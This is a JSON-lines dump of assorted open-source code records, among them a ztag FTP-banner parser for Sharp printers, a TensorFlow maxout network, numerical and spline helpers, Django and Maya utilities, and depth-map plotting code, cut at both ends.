self.version_re.search(banner)\n meta.local_metadata.version = match.group(1)\n\n return meta\n\n \"\"\" Tests\n \"220 SHARP MX-3100N Ver 01.05.00.0b FTP server.\\r\\n\"\n \"220 SHARP MX-2010U Ver 01.05.00.2k.56 FTP server.\\r\\n\"\n \"220 SHARP MX-2300N Ver 01.02.00.0i FTP server.\\r\\n\"\n \"220 SHARP MX-5001N Ver 01.05.00.0k FTP server.\\r\\n\"\n \"220 SHARP MX-M502N Ver 01.05.00.0m FTP server.\\r\\n\"\n \"220 SHARP MX-C312 Ver 01.05.00.0m FTP server.\\r\\n\"\n \"220 SHARP MX-4140N Ver 01.06.00.0f.01 FTP server.\\r\\n\"\n \"220 SHARP MX-5110N Ver 01.05.00.0m.80 FTP server.\\r\\n\"\n \"220 SHARP MX-M450N Ver 01.04.00.0g FTP server.\\r\\n\"\n \"220 SHARP MX-C312 Ver 01.05.00.0m FTP server.\\r\\n\"\n \"220 SHARP AR-M257 Ver 01.04.00.0e FTP server.\\r\\n\"\n \"220 SHARP MX-M550N Ver 01.04.00.0c FTP server.\\r\\n\"\n \"220 SHARP MX-C300W Ver 02.03.E1.00 FTP server.\\r\\n\"\n \"220 SHARP MX-M452N Ver 01.05.00.0k FTP server.\\r\\n\"\n \"220 SHARP MX-M452N Ver 01.05.00.0k FTP server.\\r\\n\"\n \"220 SHARP MX-2010U Ver 01.05.00.2k.51 FTP server.\\r\\n\"\n \"220 SHARP MX-2010U Ver 01.05.00.2k.56 FTP server.\\r\\n\"\n \"220 SHARP MX-2615N Ver 01.05.00.0q.06 FTP server.\\r\\n\"\n \"220 SHARP MX-M450U Ver 01.04.00.0e FTP server.\\r\\n\"\n \"220 SHARP MX-4101N Ver 01.05.00.0k FTP server.\\r\\n\"\n \"220 SHARP MX-M452N Ver 01.05.00.0k FTP server.\\r\\n\"\n \"220 SHARP MX-4112N Ver 01.05.00.0o.12 FTP server.\\r\\n\"\n \"220 SHARP MX-2300N Ver 01.02.00.0d FTP server.\\r\\n\"\n \"220 SHARP MX-2314N Ver 01.05.00.0q.06 FTP server.\\r\\n\"\n \"220 SHARP MX-3501N Ver 01.02.00.0e FTP server.\\r\\n\"\n \"220 SHARP MX-6240N Ver 01.06.00.00.107 FTP server.\\r\\n\"\n \"220 SHARP MX-2600FN Ver 01.05.00.0m FTP server.\\r\\n\"\n \"220 SHARP MX-2300N Ver 01.02.00.0i FTP server.\\r\\n\"\n \"220 SHARP MX-B400P Ver 01.05.00.0k FTP server.\\r\\n\"\n \"220 SHARP MX-5112N Ver 01.05.00.0o.12 FTP server.\\r\\n\"\n \"220 SHARP MX-2610N Ver 01.05.00.0m.93.U FTP server.\\r\\n\"\n \"\"\"\n", "source": "justinbastress/ztag", "license": "Apache-2.0"} {"text": "import argparse\nfrom .utils import GridSearch\n\ndef get_grid_search_params(mode, classifier, n_way, n_val, n_shot, dataset, dot_name, arena):\n grid = GridSearch()\n grid.add_range('dataset', [dataset])\n grid.add_range('mode', [mode])\n grid.add_range('n_way', [n_way])\n grid.add_range('n_val', [n_val])\n grid.add_range('n_shot', [n_shot])\n if mode == 'monitoring_volume':\n grid.add_range('num_neighbors', [20])\n grid.add_range('regular', [False])\n grid.add_range('higher_order', [False])\n grid.add_range('kappa', [2]) # [1, 2, 3]\n grid.add_range('alpha', [0.75]) # [1.25]\n if arena:\n grid.add_range('intersection_measure', ['arena'])\n else:\n grid.add_range('intersection_measure', ['louvain_dendrogram'])\n # grid.add_range('intersection_measure', ['minimum_cut'])\n # grid.add_range('intersection_measure', ['stoer_wagner'])\n # grid.add_range('intersection_measure', ['kernighan'])\n # grid.add_range('intersection_measure', ['baseline'])\n grid.add_range('communities', ['entropy']) # 'pure'\n grid.add_range('worse_only', [False])\n grid.add_range('parts', [64])\n grid.add_range('crop', [False]) # 'pure'\n grid.add_range('ladder', [-1]) # 'pure'\n grid.add_range('dot_name', [dot_name])\n grid.add_range('origin_normalization', ['mean-l2'])\n grid.add_range('latent_normalization', ['l2'])\n grid.add_range('classifier', [classifier]) # ['logistic_regression', 'ncm']\n grid.add_range('compute_corr', [True])\n grid.add_range('plot', [True])\n grid.add_range('progressive_plot', [False])\n return grid\n\ndef parse_args(modes):\n parser = argparse.ArgumentParser(description='Graph Smoothness.')\n parser.add_argument('--dataset', default='wideresnet', help='Dataset key.')\n parser.add_argument('--mode', default='monitoring_volume', help='Mode of regularization. Can be %s'%modes)\n parser.add_argument('--classifier', default='logistic_regression', help='How to classify examples.')\n parser.add_argument('--n_way', default=5, type=int, help='number of classes.')\n parser.add_argument('--n_val', default=595, type=int, help='number of validation examples.')\n parser.add_argument('--n_shot', default=5, type=int, help='number of training examples.')\n parser.add_argument('--dot_name', default='densenet-m/novel/louvain_dendrogram_communities_1_20.dot')\n parser.add_argument('--arena', action='store_true')\n return parser.parse_args()\n", "source": "mbonto/fewshot_generalization", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 2 03:48:59 2020\n\n@author: lukepinkel\n\"\"\"\n\nimport scipy as sp # analysis:ignore\nimport numpy as np # analysis:ignore\n\n\ndef difference_mat(k, order=2):\n Dk = np.diff(np.eye(k), order, axis=0)\n return Dk\n \n\ndef equispaced_knots(x, degree, ndx):\n xl = np.min(x)\n xr = np.max(x)\n dx = (xr - xl) / ndx\n order = degree + 1\n lb = xl - order * dx\n ub = xr + order * dx\n knots = np.arange(xl - order * dx, xr + order * dx, dx)\n return knots, order, lb, ub\n\ndef bspline(x, knots, degree, deriv=0):\n if len(knots)<=(degree+1):\n raise ValueError(\"Number of knots must be greater than order\")\n order = degree + 1\n q = len(knots) - order\n u = np.zeros(q)\n B = np.zeros((len(x), q))\n for i in range(q):\n u[i] = 1\n tck = (knots, u, degree)\n B[:, i] = sp.interpolate.splev(x, tck, der=deriv)\n u[i] = 0\n return B[:, 1:]\n\ndef bspline_des(x, degree=3, ndx=20, deriv=0):\n knots, order, _, _ = equispaced_knots(x, degree, ndx)\n B = bspline(x, knots, degree, deriv)\n return B", "source": "lukepinkel/pylmm", "license": "MIT"} {"text": "import tensorflow as tf\nimport numpy as np\n\nclass MaxoutNN():\n def __init__(self, input_dim, hidden_layers, output_dim):\n self.input_dim = input_dim\n self.hidden_layers = hidden_layers\n self.output_dim = output_dim\n\n self.inp = tf.placeholder(tf.float32, [None, self.input_dim], 'inp')\n self.target = tf.placeholder(tf.float32, [None, self.output_dim], 'target')\n self.train = tf.placeholder(tf.bool, [], 'train')\n\n self.construct_model()\n self.sess = tf.Session()\n self.optim = None\n\n def construct_model(self, initializer='glorot_normal', \n norm='None', activation='maxout2'):\n self.initializer = get_initializer(initializer)\n\n if 'maxout' not in activation:\n self.activation = get_activation(activation)\n self.normalize = get_normalize(norm, self.activation, self.train)\n \n if 'maxout' in activation:\n self.maxout_hidden_layers = self.hidden_layers\n self.hidden_layers = [h*int(activation.lstrip('maxout')) for h in self.hidden_layers]\n\n self.ws = [tf.get_variable('w0', \n shape = [self.input_dim, self.hidden_layers[0]],\n dtype = tf.float32, initializer = self.initializer)]\n self.bs = [tf.get_variable('b0', \n shape = [self.hidden_layers[0]],\n dtype = tf.float32, initializer = tf.initializers.zeros)]\n if 'maxout' in activation:\n self.activation = get_activation(activation, self.maxout_hidden_layers[0])\n self.normalize = get_normalize(norm, self.activation, self.train)\n self.hiddens = [self.normalize(self.inp @ self.ws[0] + self.bs[0])]\n else:\n self.hiddens = [self.normalize(self.inp @ self.ws[0] + self.bs[0])]\n\n for i in range(1, len(self.hidden_layers)):\n self.ws += [tf.get_variable('w'+str(i), \n shape = [self.hidden_layers[i-1] if 'maxout' not in activation else\n self.maxout_hidden_layers[i-1], self.hidden_layers[i]],\n dtype = tf.float32, initializer = self.initializer)]\n self.bs += [tf.get_variable('b'+str(i), \n shape = [self.hidden_layers[i]],\n dtype = tf.float32, initializer = tf.initializers.zeros)]\n if 'maxout' in activation:\n self.activation = get_activation(activation, self.maxout_hidden_layers[i])\n self.normalize = get_normalize(norm, self.activation, self.train)\n self.hiddens.append(self.normalize(self.hiddens[-1] @ self.ws[i] + self.bs[i]))\n else:\n self.hiddens.append(self.normalize(self.hiddens[-1] @ self.ws[i] + self.bs[i]))\n\n self.ws += [tf.get_variable('w'+str(len(self.hidden_layers)), \n shape = [self.hidden_layers[-1] if 'maxout' not in activation else\n self.maxout_hidden_layers[-1], self.output_dim],\n dtype = tf.float32, initializer = self.initializer)]\n self.bs += [tf.get_variable('b'+str(len(self.hidden_layers)), \n shape = [self.output_dim],\n dtype = tf.float32, initializer = tf.initializers.zeros)]\n self.logits = self.hiddens[-1] @ self.ws[len(self.hidden_layers)] + self.bs[len(self.hidden_layers)]\n self.pred = tf.nn.softmax(self.logits, 1)\n\n self.loss = tf.reduce_mean(\n tf.nn.softmax_cross_entropy_with_logits_v2(labels = self.target,\n logits = self.logits))\n\n self.correct_pred = tf.equal(\n tf.argmax(self.pred, 1), tf.argmax(self.target, 1))\n self.accuracy = tf.reduce_mean(\n tf.cast(self.correct_pred, \"float\"))\n\n self.confusion_matrix = tf.confusion_matrix(labels = tf.argmax(self.target, 1),\n predictions = tf.argmax(self.pred, 1))\n\n self.sess = tf.Session()\n self.optim = None\n \n def model_init(self):\n self.sess.run(tf.global_variables_initializer())\n\n def train_setting(self, optimizer='Adam'):\n self.optim = get_optimizer(optimizer)\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n self.step = self.optim.minimize(self.loss)\n\n def train_step(self, x, y):\n outputs = [self.step]\n return self.sess.run(outputs, feed_dict = {self.inp:x, self.target:y, self.train:True})\n\n def forward(self, x, y=None, train=False):\n if len(x.shape) != 2:\n x = x.reshape(-1, np.prod(x.shape[1:]))\n # assert len(x.shape) == 2, x.shape\n assert x.shape[1] == self.input_dim, x.shape\n\n outputs = [self.pred]\n feed_dict = {self.inp:x, self.train:train}\n if y is not None:\n outputs += [self.loss, self.accuracy, self.confusion_matrix]\n feed_dict.update({self.target:y})\n return self.sess.run(outputs, feed_dict=feed_dict)\n\ndef get_activation(activation, param=1):\n if activation == 'relu':\n return tf.nn.relu\n elif activation == 'sigmoid':\n return tf.nn.sigmoid\n elif activation == 'tanh':\n return tf.nn.tanh\n elif 'maxout' in activation:\n def activation(inp):\n return tf.contrib.layers.maxout(inp, param)\n return activation\n else:\n assert False, activation\n \ndef get_normalize(norm, activation, train):\n if norm == 'batch_norm':\n def normalize(inp):\n return tf.contrib.layers.batch_norm(inp, \n activation_fn = activation)\n elif norm == 'layer_norm':\n def normalize(inp):\n return tf.contrib.layers.layer_norm(inp, \n activation_fn = activation)\n elif 'dropout' in norm:\n def normalize(inp):\n return tf.contrib.layers.dropout(activation(inp),\n keep_prob=1-float(norm.lstrip('dropout')),\n is_training=train)\n elif norm == 'None':\n def normalize(inp):\n return activation(inp)\n else:\n assert False, norm\n return normalize \n\ndef get_initializer(initializer):\n if initializer == 'truncated_normal':\n return tf.initializers.truncated_normal\n elif initializer == 'glorot_normal':\n return tf.initializers.glorot_normal\n elif initializer == 'glorot_uniform':\n return tf.initializers.glorot_uniform\n elif initializer == 'he_normal':\n return tf.initializers.hi_normal\n elif initializer == 'he_uniform':\n return tf.initializers.hi_uniform\n elif initializer == 'lecun_normal':\n return tf.initializers.lecun_normal\n elif initializer == 'lecun_uniform':\n return tf.initializers.lecun_uniform\n else:\n assert False, initializer\n\ndef get_optimizer(optimizer):\n if optimizer == 'Adam':\n return tf.train.AdamOptimizer()\n", "source": "YoNyeoSeok/MNIST_Classification", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\nMetodo di newton\n\"\"\"\nimport numpy as np\n\ndef newton(func, dfunc, x0, tolx, tolf, max_iterazioni):\n xks = []\n it = 0\n if not (abs(dfunc(x0) > np.spacing(1))): # per evitare di dividere per zero\n print(\"Derivata nulla in x0 - EXIT\") \n return [],it,xks\n d = func(x0)/dfunc(x0)\n xks.append(x0 - d)\n fxk = func(xks[it])\n it += 1\n while it < max_iterazioni and abs(fxk) >= tolf and abs(d) >= tolx*abs(xks[it-1]):\n x0 = xks[it-1]\n if not (abs(dfunc(x0) > np.spacing(1))):\n print(\"Derivata nulla in x0 - EXIT\")\n return xks[it-1],it,xks\n d = func(x0)/dfunc(x0)\n xks.append(x0 - d)\n fxk = func(xks[it])\n it += 1\n if it == max_iterazioni:\n print(\"Numero massimo di iterazioni raggiunte\")\n return xks[it-1],it,xks", "source": "Ro0t-set/metodi-numerici", "license": "MIT"} {"text": "# Copyright 2020 Bruno P. Kinoshita\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n\"\"\"Tests for the node_iterators.\"\"\"\n\nimport pytest\n\nfrom decyclify.functions import decyclify\nfrom decyclify.node_iterators import CycleIterator, TasksIterator\n\nfrom networkx import DiGraph\n\n\n@pytest.mark.parametrize('graph,cycles,error', [\n (DiGraph(), None, TypeError),\n (10, 1, TypeError),\n (DiGraph(), -1, ValueError)\n])\ndef test_cycle_iterator_validation_error(graph, cycles, error):\n with pytest.raises(error):\n # noinspection PyTypeChecker\n CycleIterator(graph, cycles)\n\ndef test_cycle_iterators(sample_graph):\n graph, cycles_removed = decyclify(sample_graph, 'a')\n\n iterator = CycleIterator(graph, cycles=2)\n\n expected = [['a.0'], ['b.0', 'e.0'], ['c.0'], ['d.0'], ['a.1'], ['b.1', 'e.1'], ['c.1'], ['d.1']]\n iterated = []\n\n for index, node in enumerate(iterator):\n iterated.append(node)\n if index > len(expected):\n pytest.fail('iterator iterations exceeded length of expected values!')\n\n assert iterated == expected\n\n@pytest.mark.parametrize('graph,cycles,error', [\n (DiGraph(), None, TypeError),\n (10, 1, TypeError),\n (DiGraph(), -1, ValueError)\n])\ndef test_tasks_iterator_validation_error(graph, cycles, error):\n with pytest.raises(error):\n # noinspection PyTypeChecker\n TasksIterator(graph=graph, cycles_removed=[], cycles=cycles)\n\ndef test_tasks_iterator(sample_graph):\n graph, cycles_removed = decyclify(sample_graph, 'a')\n\n iterator = TasksIterator(graph, cycles_removed, cycles=2)\n\n expected = [['a.0'], ['b.0', 'e.0', 'a.1'], ['c.0', 'b.1', 'e.1'], ['d.0', 'c.1'], ['d.1']]\n iterated = []\n\n for index, node in enumerate(iterator):\n iterated.append(node)\n if index > len(expected):\n pytest.fail('iterator iterations exceeded length of expected values!')\n\n assert iterated == expected\n", "source": "kinow/decyclify", "license": "Apache-2.0"} {"text": "__version__ = \"1.5.0\"\n\nfrom deriva.qt.common.async_task import async_execute, Task\nfrom deriva.qt.common.log_widget import QPlainTextEditLogger\nfrom deriva.qt.common.table_widget import TableWidget\nfrom deriva.qt.common.json_editor import JSONEditor\n\nfrom deriva.qt.auth_agent.ui.auth_window import AuthWindow\nfrom deriva.qt.auth_agent.ui.embedded_auth_window import EmbeddedAuthWindow\n\nfrom deriva.qt.upload_gui.ui.upload_window import UploadWindow\nfrom deriva.qt.upload_gui.deriva_upload_gui import DerivaUploadGUI\n\nimport os\nimport sys\n\nif sys.platform == \"darwin\":\n if getattr(sys, \"frozen\", False) and getattr(sys, \"executable\", False):\n executableDir = os.path.join(os.path.dirname(sys.executable))\n webEngineProcessLocation = os.path.join(executableDir, 'lib', 'PyQt5', 'Qt5', 'lib',\n 'QtWebEngineCore.framework', 'Helpers', 'QtWebEngineProcess.app',\n 'Contents', 'MacOS', 'QtWebEngineProcess')\n os.environ['QTWEBENGINEPROCESS_PATH'] = webEngineProcessLocation\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('medicamentos', '0002_auto_20151014_0011'),\n ('clientes', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Detalle_Tickets',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('cantidad', models.IntegerField(max_length=9)),\n ('medicamento', models.ForeignKey(to='medicamentos.Medicamentos')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Ticket',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('codigo', models.CharField(unique=True, max_length=10)),\n ('fecha', models.DateTimeField(auto_now_add=True)),\n ('cliente', models.ForeignKey(blank=True, to='clientes.Cliente', null=True)),\n ('medicamento', models.ManyToManyField(to='medicamentos.Medicamentos', through='ventas.Detalle_Tickets')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='detalle_tickets',\n name='ticket',\n field=models.ForeignKey(to='ventas.Ticket'),\n preserve_default=True,\n ),\n ]\n", "source": "cluco91/Django_Farmacia", "license": "MIT"} {"text": "\"\"\"\nUtils module about the camera sequencer tracks.\n\"\"\"\n\nimport re\nfrom maya import cmds\n\n\ndef list_track_shots(track):\n \"\"\"\n List all Maya shot node belonging to a sequencer track.\n :param int track:\n :rtype: list[str]\n \"\"\"\n return [\n shot for shot in cmds.ls(type=\"shot\")\n if cmds.getAttr(shot + \".track\") == track]\n\n\ndef tracks_to_lists():\n \"\"\"\n Convert tracks to lists of shot. Create a shot list by track.\n :rtype: list[list[str]]\n \"\"\"\n shots = cmds.ls(type=\"shot\")\n tracks = [[]] * cmds.shotTrack(query=True, numTracks=True)\n for shot in shots:\n # Tracks count start at 1 instead of 0.\n track = cmds.getAttr(shot + \".track\") - 1\n tracks[track].append(shot)\n return tracks\n\n\ndef find_track_with_free_range(start_frame, end_frame):\n \"\"\"\n Find a track which doesn't contain any shot in the given frame range.\n If no track found, None is returned.\n :param float start_frame: Sequence start time.\n :param float end_frame: Sequence end time.\n :rtype: int|None\n \"\"\"\n # Verifying shot range track by track.\n for i, track in enumerate(tracks_to_lists()):\n for shot in track:\n shot_start_frame = cmds.getAttr(shot + \".sequenceStartFrame\")\n shot_end_frame = cmds.getAttr(shot + \".sequenceEndFrame\")\n overlaps = (\n start_frame <= shot_start_frame <= end_frame or\n start_frame <= shot_end_frame <= end_frame)\n if overlaps:\n break\n # If the shot loop didn't detected a shot overlapping the given range,\n # the code will hit the \"else\" statement. 1 is add to the result to\n # compensate track count start at 1 instead of 0.\n else:\n return i + 1\n\n\ndef list_track_titles():\n \"\"\"\n List all the track titles sorted by index.\n :rtype: list[str]\n \"\"\"\n tracks = cmds.shotTrack(query=True, numTracks=True)\n return [\n cmds.shotTrack(track=i, query=True, title=True)\n for i in range(1, tracks + 1)]\n\n\ndef list_used_sequencer_track_indexes():\n \"\"\"\n List all the camera sequencer tracks indexes containing at least one shot.\n :rtype: list[int]\n \"\"\"\n return list(set(\n cmds.shot(shot, track=True, query=True)\n for shot in cmds.ls(type=\"shot\")))\n\n\ndef remove_unused_sequencer_tracks():\n \"\"\"\n For some reasons, cmds.shotTrack(removeEmptyTracks=True) doesn't remove any\n track. This function do that.\n \"\"\"\n used_tracks_indexes = list_used_sequencer_track_indexes()\n for i in range(cmds.shotTrack(numTracks=True, query=True), 0, -1):\n if i in used_tracks_indexes:\n continue\n cmds.shotTrack(removeTrack=i)\n\n\ndef append_sequencer_track(title=\"\"):\n \"\"\"\n Append a track at the end of the camera sequencer.\n :param str title: Name of the track.\n :rtype: int\n :return: Index of the created track.\n \"\"\"\n index = cmds.shotTrack(numTracks=True, query=True) + 1\n cmds.shotTrack(insertTrack=index, title=title)\n return index\n\n\ndef list_shots_on_sequencer_track(index):\n \"\"\"\n List the shots on a set on a given track index.\n :param int index: track index\n :rtype: list[str]\n :return: Maya shot node names.\n \"\"\"\n shots = cmds.ls(type=\"shot\")\n return [shot for shot in shots if cmds.getAttr(shot + \".track\") == index]\n\n\ndef find_track_index(track_title):\n \"\"\"\n Find the first track holding the given title.\n :param str track_title:\n :rtype: int\n \"\"\"\n for i in range(cmds.shotTrack(numTracks=True, query=True), 0, -1):\n if cmds.shotTrack(track=i, query=True, title=True) == track_title:\n return i\n\n\ndef list_track_indexes_with_matching_title(regex):\n \"\"\"\n List the existing tracks with a name matching to the given regex\n \"\"\"\n return [\n i for i in range(cmds.shotTrack(numTracks=True, query=True), 0, -1)\n if re.findall(regex, cmds.shotTrack(track=i, query=True, title=True))]\n\n\ndef clear_sequencer_track_shots(index):\n \"\"\"\n Remove all shots found on the corresponding to the given index\n :param int index:\n \"\"\"\n shots = [\n shot for shot in cmds.ls(type=\"shot\")\n if cmds.getAttr(shot + \".track\") == index]\n for shot in shots:\n cmds.shot(shot, edit=True, lock=False)\n cmds.delete(shots)\n cmds.shotTrack(removeTrack=index)\n", "source": "DreamWall-Animation/dwmaya", "license": "MIT"} {"text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nfrom torchvision import transforms\nfrom torchvision.io import read_image, ImageReadMode\nfrom torch.utils.data import Dataset, DataLoader\nimport cv2\nimport os\nimport time\nfrom copy import deepcopy\nimport matplotlib.pyplot as plt\nimport os\n\nfrom .PATH__ import *\n\ndef depth2Cutoff(depth_map, cutoff):\n '''@param depth_map ~ (H x W) needs to be numpy array'''\n heatmap = np.ones((*depth_map.shape, 3))\n heatmap[depth_map < cutoff] *= 150\n heatmap[depth_map >= cutoff] *= 50\n return heatmap.astype(np.int64)\n\n\ndef depth2Heatmap(depth_map, min_display=1e-4, max_display=255):\n '''@param depth_map ~ (H x W) needs to be numpy array'''\n r = (np.max(depth_map) - np.min(depth_map)) / 10\n heatmap = np.zeros((*depth_map.shape, 3))\n for i in range(depth_map.shape[0]):\n for j in range(depth_map.shape[1]):\n if not min_display < depth_map[i,j] < max_display:\n continue\n if depth_map[i,j] < r:\n heatmap[i,j,2] = 255 - depth_map[i,j] / r * 255 \n heatmap[i,j,0] = depth_map[i,j] / r * 255 \n elif r < depth_map[i,j] < 5*r:\n heatmap[i,j,0] = 255 - (depth_map[i,j]-r) / (4*r) * 255 \n heatmap[i,j,1] = (depth_map[i,j]-r) / (4*r) * 255 \n else:\n heatmap[i,j,1] = 255 - (depth_map[i,j]-4*r) / (6*r) * 255 \n heatmap[i,j,2] = (depth_map[i,j]-4*r) / (6*r) * 255 \n # heatmap[:,:,0] *= 15\n return heatmap.astype(np.int64)\n\n\ndef drawHeatmap(depth_map, min_display=0, max_display=100):\n h = depth2Heatmap(depth_map, min_display=0, max_display=100)\n \n plt.figure(figsize=(20,10))\n plt.imshow(h)\n plt.savefig(\"heat.png\")\n x = np.arange(70).reshape(1, -1)\n x = np.vstack((x,x,x))\n hb = depth2Heatmap(x)\n plt.figure()\n plt.imshow(hb) \n\n\ndef plot_depth_map(dm, validity_mask, save_path):\n validity_mask = validity_mask > 0\n MIN_DEPTH = 0.5\n MAX_DEPTH = min(300, np.percentile(dm, 99))\n dm = np.clip(dm, MIN_DEPTH, MAX_DEPTH)\n dm = np.log(dm, where=validity_mask)\n\n dm = np.ma.masked_where(~validity_mask, dm)\n dm = dm.squeeze()\n\n cmap = plt.cm.jet\n cmap.set_bad(color='black')\n plt.imshow(dm, cmap=cmap, vmax=np.log(MAX_DEPTH))\n plt.savefig(save_path)\n\n\ndef read2Tensor(img_path, device=torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\"), transform=None):\n '''image path -> unet input (1 x 3 x H x W)'''\n\n img_t = read_image(img_path).to(torch.float32).unsqueeze(0).to(device)\n img_t = transform(img_t) \n return img_t\n\ndef readLabel2Tensor(label_path, device=torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")):\n '''image path -> loss input (1 x H x W)'''\n\n label_t = read_image(label_path).to(torch.float32).unsqueeze(0).to(device)\n transform = transforms.Compose([transforms.Resize( (120, 480) )])\n label_t = transform(label_t) \n return label_t \n\ndef clsPred2Img(pred):\n '''singleton unet output (1 x K x H x W) in [0, num class] -> plottable grayscale image (H x W)'''\n pred = pred.squeeze(0)\n pred = pred.argmax(0)\n pred = pred.squeeze(0)\n pred = pred.to(\"cpu\").to(torch.long)\n return pred\n\ndef regPred2Img(pred):\n '''singleton unet output (1 x 1 x H x W) in [-1, 1] -> plottable grayscale image (H x W)'''\n pred = pred.squeeze(0)\n pred = pred.squeeze(0)\n # pred = (pred + 1) * 100\n pred = pred.to(\"cpu\").to(torch.float32)\n return pred \n\n\ndef displayInference(data, pred, save_dir, i, backend=\"cmap\"):\n image = data['rgb']\n label = data['label']\n original_image = data['original_rgb']\n original_label = data['original_label']\n print(\"inference data sizes\", image.shape, label.shape, original_image.shape, original_label.shape) \n \n image = image.permute(1, 2, 0).to(\"cpu\").to(torch.uint8)\n label = label.squeeze().to(torch.uint8).cpu().numpy()\n pred = pred.numpy()\n \n if backend == \"cmap\":\n cmap = plt.cm.jet\n cmap.set_bad(color=\"black\")\n\n plt.figure()\n plt.imshow(image)\n plt.savefig(os.path.join(save_dir, \"img\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(label, cmap=cmap)\n plt.savefig(os.path.join(save_dir, \"label\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(original_image) \n plt.savefig(os.path.join(save_dir, \"oimg\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(original_label, cmap=cmap)\n plt.savefig(os.path.join(save_dir, \"olabel\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(pred, cmap=cmap)\n plt.savefig(os.path.join(save_dir, \"pred\"+str(i)+\".png\"))\n elif backend == \"heatmap\":\n plt.figure()\n plt.imshow(image)\n plt.savefig(os.path.join(save_dir, \"img\"+str(i)+\".png\"))\n\n plt.figure()\n h = depth2Heatmap(label)\n plt.imshow(h)\n plt.savefig(os.path.join(save_dir, \"label\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(original_image) \n plt.savefig(os.path.join(save_dir, \"oimg\"+str(i)+\".png\"))\n\n plt.figure()\n h = depth2Heatmap(original_label)\n plt.imshow(h)\n plt.savefig(os.path.join(save_dir, \"olabel\"+str(i)+\".png\"))\n\n plt.figure()\n h = depth2Heatmap(pred)\n plt.imshow(h)\n plt.savefig(os.path.join(save_dir, \"pred\"+str(i)+\".png\")) \n elif backend == \"DIODE\":\n plt.figure()\n plt.imshow(image)\n plt.savefig(os.path.join(save_dir, \"img\"+str(i)+\".png\"))\n\n plot_depth_map(label, np.ones_like(label), os.path.join(save_dir, \"label\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(original_image) \n plt.savefig(os.path.join(save_dir, \"oimg\"+str(i)+\".png\"))\n\n plot_depth_map(original_label, np.ones_like(original_label), os.path.join(save_dir, \"olabel\"+str(i)+\".png\"))\n\n plot_depth_map(pred, np.ones_like(pred), os.path.join(save_dir, \"pred\"+str(i)+\".png\"))\n elif backend == \"seg\":\n plt.figure()\n plt.imshow(image)\n plt.savefig(os.path.join(save_dir, \"img\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(label)\n plt.savefig(os.path.join(save_dir, \"label\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(original_image) \n plt.savefig(os.path.join(save_dir, \"oimg\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(original_label)\n plt.savefig(os.path.join(save_dir, \"olabel\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(pred)\n plt.savefig(os.path.join(save_dir, \"pred\"+str(i)+\".png\")) \n \n\nif __name__ == \"__main__\":\n print(torch.cuda.is_available())\n if torch.cuda.is_available():\n print(torch.cuda.device_count())\n print(torch.cuda.get_device_name(torch.cuda.device_count()-1))\n\n gpu_device = torch.device(\"cuda\")\n cpu_device = torch.device(\"cpu\")\n dataset = KITTI_DEP(TRAIN_RGB_PATHS, TRAIN_DEP_PATHS, device=cpu_device, qmark=True, original=False)\n dataloader = DataLoader(dataset, batch_size=16, shuffle=True, num_workers=4)\n\n # dataset.example(519)\n print('len', len(dataset))\n tic = time.time()\n for i, data in enumerate(dataloader):\n print(\"data rgb\", data['rgb'].shape)\n rgb = data['rgb'].to(gpu_device)\n label = data['label'].to(gpu_device)\n if i > 10:\n break\n print(\"time\", time.time() - tic) ", "source": "kshama2705/EECS442-final-project", "license": "MIT"} {"text": "CrfSegMoodPath = 'E:\\python_code\\Djangotest2\\cmdb\\model\\msr.crfsuite'\nHmmDIC = 'E:\\python_code\\Djangotest2\\cmdb\\model\\HMMDic.pkl'\nHmmDISTRIBUTION = 'E:\\python_code\\Djangotest2\\cmdb\\model\\HMMDistribution.pkl'\nCrfNERMoodPath = 'E:\\python_code\\Djangotest2\\cmdb\\model\\PKU.crfsuite'\nBiLSTMCXPath = 'E:\\python_code\\Djangotest2\\cmdb\\model\\BiLSTMCX'\nBiLSTMNERPath = 'E:\\python_code\\Djangotest2\\cmdb\\model\\BiLSTMNER'\n\n", "source": "Emmonss/SegmentAndNER-Web", "license": "MIT"} {"text": "import glob\nimport os\n\nimport pandas as pd\n\nfrom app.proto import MpsProtoAircraft\nfrom .trans import epsg4326_to_3857\n\n\ndef find_simudata_in_directory(directory: str):\n matchings = glob.glob1(directory, 'simudata_*')\n if matchings:\n return os.path.join(directory, matchings[0])\n else:\n raise FileNotFoundError(f'No simudata file found in {repr(directory)}.')\n\n\ndef simudata_file_in_directory(directory: str) -> str:\n return os.path.join(directory, 'simudata.csv')\n\n\ndef simudata_process_in_directory(directory: str, force: bool = False):\n return simudata_process(\n 